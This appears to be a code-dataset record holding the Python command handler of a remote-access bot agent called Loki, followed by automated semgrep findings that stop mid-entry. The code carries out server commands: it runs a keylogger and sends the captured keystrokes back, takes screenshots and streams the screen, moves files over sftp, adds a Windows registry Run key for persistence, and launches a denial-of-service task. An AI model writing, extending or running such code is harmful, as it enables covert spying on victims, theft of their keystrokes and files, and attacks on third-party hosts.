{ "blob_id": "f6d8ffc7b74a6bacafd7e40bc0cfa35fd1666576", "branch_name": "refs/heads/master", "committer_date": 1571500973000, "content_id": "632dd0e51d0b64c80c65786c99e5c531e54461d5", "detected_licenses": [ "MIT" ], "directory_id": "629cd73cb20cbf5d34d6743a52d0d19f0fecc778", "extension": "py", "filename": "shell.py", "fork_events_count": 1, "gha_created_at": 1579816636000, "gha_event_created_at": 1579816636000, "gha_language": null, "gha_license_id": "MIT", "github_id": 235894790, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6692, "license": "MIT", "license_type": "permissive", "path": "/agent/bot/lib/shell.py", "provenance": "stack-edu-0054.json.gz:587592", "repo_name": "sgrimaldi93/Loki", "revision_date": 1571500973000, "revision_id": "c749cf11e72dc27733cce76dbd14a60b8ba3a024", "snapshot_id": "4dd0eb8258a84547750be4195d2370bb84cc8f9e", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/sgrimaldi93/Loki/c749cf11e72dc27733cce76dbd14a60b8ba3a024/agent/bot/lib/shell.py", "visit_date": "2020-12-20T00:09:55.202674" }
2.359375
stackv2
# Date: 06/04/2018 # Author: Pure-L0G1C # Description: Communicate with server import sys import subprocess from os import chdir from time import sleep from queue import Queue from tasks.dos import Cyclops from threading import Thread, RLock from . import ssh, sftp, screen, sscreenshare, keylogger class Shell(object): def __init__(self, sess_obj, services, home): self.recv_queue = Queue() self.disconnected = False self.services = services self.session = sess_obj self.home = home self.is_alive = True self.lock = RLock() self.ftp = None self.ssh = None self.task = None self.keylogger = None self.screenshare = None self.cmds = { 1: self.ssh_obj, 2: self.reconnect, 3: self.download, 4: self.upload, 5: self.screen, 6: self.chrome, 7: self.disconnect, 8: self.create_persist, 9: self.remove_persist, 10: self.task_start, 11: self.task_stop, 12: self.logger_start, 13: self.logger_stop, 14: self.logger_dump, 15: self.screenshare_start, 16: self.screenshare_stop } self.tasks = { 1: self.dos, } def listen_recv(self): while self.is_alive: recv = self.session.recv() if recv == -1: continue # timed out if recv: with self.lock: self.recv_queue.put(recv) else: if self.is_alive: self.is_alive = False self.display_text('Server went offline') def parser(self): while self.is_alive: if self.recv_queue.qsize(): data = self.recv_queue.get() code = data['code'] args = data['args'] self.display_text(data['args']) if code in self.cmds: Thread(target=self.cmds[code], args=[ args], daemon=True).start() def stop(self): if self.task: self.task.stop() if self.ssh: self.ssh.close() if self.ftp: self.ftp.close() if self.keylogger: self.keylogger.stop() if self.screenshare: self.screenshare.stop() def shell(self): t1 = Thread(target=self.listen_recv) t2 = Thread(target=self.parser) t1.daemon = True t2.daemon = True t1.start() t2.start() while self.is_alive: try: sleep(0.5) except: break self.close() def send(self, code=None, args=None): self.session.send(code=code, args=args) # -------- UI -------- # def display_text(self, text): print('{0}Response: {1}{0}'.format('\n\n\t', text)) def close(self): self.is_alive = False self.session.shutdown() self.stop() def reconnect(self, args): print('Reconnecting ...') self.close() def disconnect(self, args): print('Disconnecting ...') self.disconnected = True self.close() def ssh_obj(self, args): if self.ssh: self.ssh.close() self.ssh = ssh.SSH( self.services['ssh']['ip'], self.services['ssh']['port'], self.home) t = Thread(target=self.ssh.client) t.daemon = True t.start() def screenshare_start(self, update): if self.screenshare: self.screenshare.stop() self.screenshare = sscreenshare.ScreenShare( self.services['ftp']['ip'], self.services['ftp']['port'], update ) if self.screenshare.setup() != 0: self.screenshare = None else: Thread(target=self.screenshare.start, daemon=True).start() def screenshare_stop(self, args): if self.screenshare: self.screenshare.stop() def download(self, args): print('Downloading ...') self.ftp = sftp.sFTP( self.services['ftp']['ip'], self.services['ftp']['port'], self.home, verbose=True) try: self.ftp.recv() except: pass finally: self.ftp.close() def upload(self, file): print('Uploading {}'.format(file)) self.ftp = sftp.sFTP( self.services['ftp']['ip'], self.services['ftp']['port'], self.home, verbose=True) try: self.ftp.send(file) except: pass finally: self.ftp.close() def screen(self, args): chdir(self.home) screen.screenshot() self.upload(screen.file) screen.clean_up() def chrome(self, urls): if '-1' in urls: return cmd = 'start chrome -incognito {}'.format(' '.join(urls)) subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) def create_persist(self, args): if hasattr(sys, 'frozen'): _path = sys.executable cmd = r'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v loki /f /d "\"{}\""'.format( _path) subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) def remove_persist(self, args): if hasattr(sys, 'frozen'): cmd = r'reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v loki /f' subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) def logger_start(self, args): if not self.keylogger: self.keylogger = keylogger.Keylogger() self.keylogger.start() def logger_stop(self, args): if self.keylogger: self.keylogger.stop() def logger_dump(self, args): if self.keylogger: self.send(-0, self.keylogger.dump()) ######## Tasks ######## def task_start(self, args): task_id, args = args if task_id in self.tasks: if self.task: self.task_stop(None) self.tasks[task_id](args) def task_stop(self, args): if self.task: self.task.stop() self.task = None def dos(self, args): ip, port, threads = args self.task = Cyclops(ip, port, threads) self.task.start()
242
26.65
110
20
1,497
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_7bba8d83190c26c3_51d20048", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 24, "col": 9, "offset": 541}, "end": {"line": 24, "col": 22, "offset": 554}, "extra": {"message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_7bba8d83190c26c3_4f11240f", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 15, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 57, "col": 15, "offset": 1384}, "end": {"line": 57, "col": 28, "offset": 1397}, "extra": {"message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_7bba8d83190c26c3_37ed9aa0", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 66, "line_end": 66, "column_start": 20, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 66, "col": 20, "offset": 1640}, "end": {"line": 66, "col": 33, "offset": 1653}, "extra": {"message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_7bba8d83190c26c3_8ee1cdc2", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 67, "line_end": 67, "column_start": 21, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 67, "col": 21, "offset": 1675}, "end": {"line": 67, "col": 34, "offset": 1688}, "extra": {"message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_7bba8d83190c26c3_56f952fe", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 71, "line_end": 71, "column_start": 15, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 71, "col": 15, "offset": 1795}, "end": {"line": 71, "col": 28, "offset": 1808}, "extra": {"message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_7bba8d83190c26c3_c3bd7e16", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 107, "line_end": 107, "column_start": 15, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 107, "col": 15, "offset": 2680}, "end": {"line": 107, "col": 28, "offset": 2693}, "extra": {"message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_7bba8d83190c26c3_f1889f0d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 109, "line_end": 109, "column_start": 17, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 109, "col": 17, "offset": 2728}, "end": {"line": 109, "col": 27, "offset": 2738}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_7bba8d83190c26c3_63313a9f", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 123, "line_end": 123, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 123, "col": 9, "offset": 3048}, "end": {"line": 123, "col": 22, "offset": 3061}, "extra": {"message": "Is \"is_alive\" a function or an attribute? If it is a function, you may have meant self.is_alive() because self.is_alive is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_7bba8d83190c26c3_2b63f053", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 195, "line_end": 196, "column_start": 9, "column_end": 73, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 195, "col": 9, "offset": 5040}, "end": {"line": 196, "col": 73, "offset": 5169}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-list-passed-as-string_7bba8d83190c26c3_68973900", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-list-passed-as-string", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected `\" \".join(...)` being passed to `subprocess.run`. This can lead to argument splitting issues and potential security vulnerabilities. Instead, pass the list directly to `subprocess.run` to preserve argument separation.", "remediation": "", "location": {"file_path": "unknown", "line_start": 195, "line_end": 195, "column_start": 26, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "C", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://docs.python.org/3/library/subprocess.html#frequently-used-arguments", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-list-passed-as-string", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 195, "col": 26, "offset": 5057}, "end": {"line": 195, "col": 29, "offset": 5060}, "extra": {"message": "Detected `\" \".join(...)` being passed to `subprocess.run`. This can lead to argument splitting issues and potential security vulnerabilities. Instead, pass the list directly to `subprocess.run` to preserve argument separation.", "metadata": {"category": "security", "cwe": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "references": ["https://docs.python.org/3/library/subprocess.html#frequently-used-arguments"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "technology": ["python"], "confidence": "LOW", "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_7bba8d83190c26c3_2ee71e99", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 195, "line_end": 195, "column_start": 37, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 195, "col": 37, "offset": 5068}, "end": {"line": 195, "col": 41, "offset": 5072}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_7bba8d83190c26c3_c38ac2a3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 203, "line_end": 204, "column_start": 13, "column_end": 77, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 203, "col": 13, "offset": 5423}, "end": {"line": 204, "col": 77, "offset": 5556}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_7bba8d83190c26c3_44022dd8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 203, "line_end": 203, "column_start": 41, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 203, "col": 41, "offset": 5451}, "end": {"line": 203, "col": 45, "offset": 5455}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_7bba8d83190c26c3_ac555947", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 209, "line_end": 210, "column_start": 13, "column_end": 77, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 209, "col": 13, "offset": 5735}, "end": {"line": 210, "col": 77, "offset": 5868}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_7bba8d83190c26c3_b80c4e72", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 209, "line_end": 209, "column_start": 41, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmp10dxl77l/7bba8d83190c26c3.py", "start": {"line": 209, "col": 41, "offset": 5763}, "end": {"line": 209, "col": 45, "offset": 5767}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of 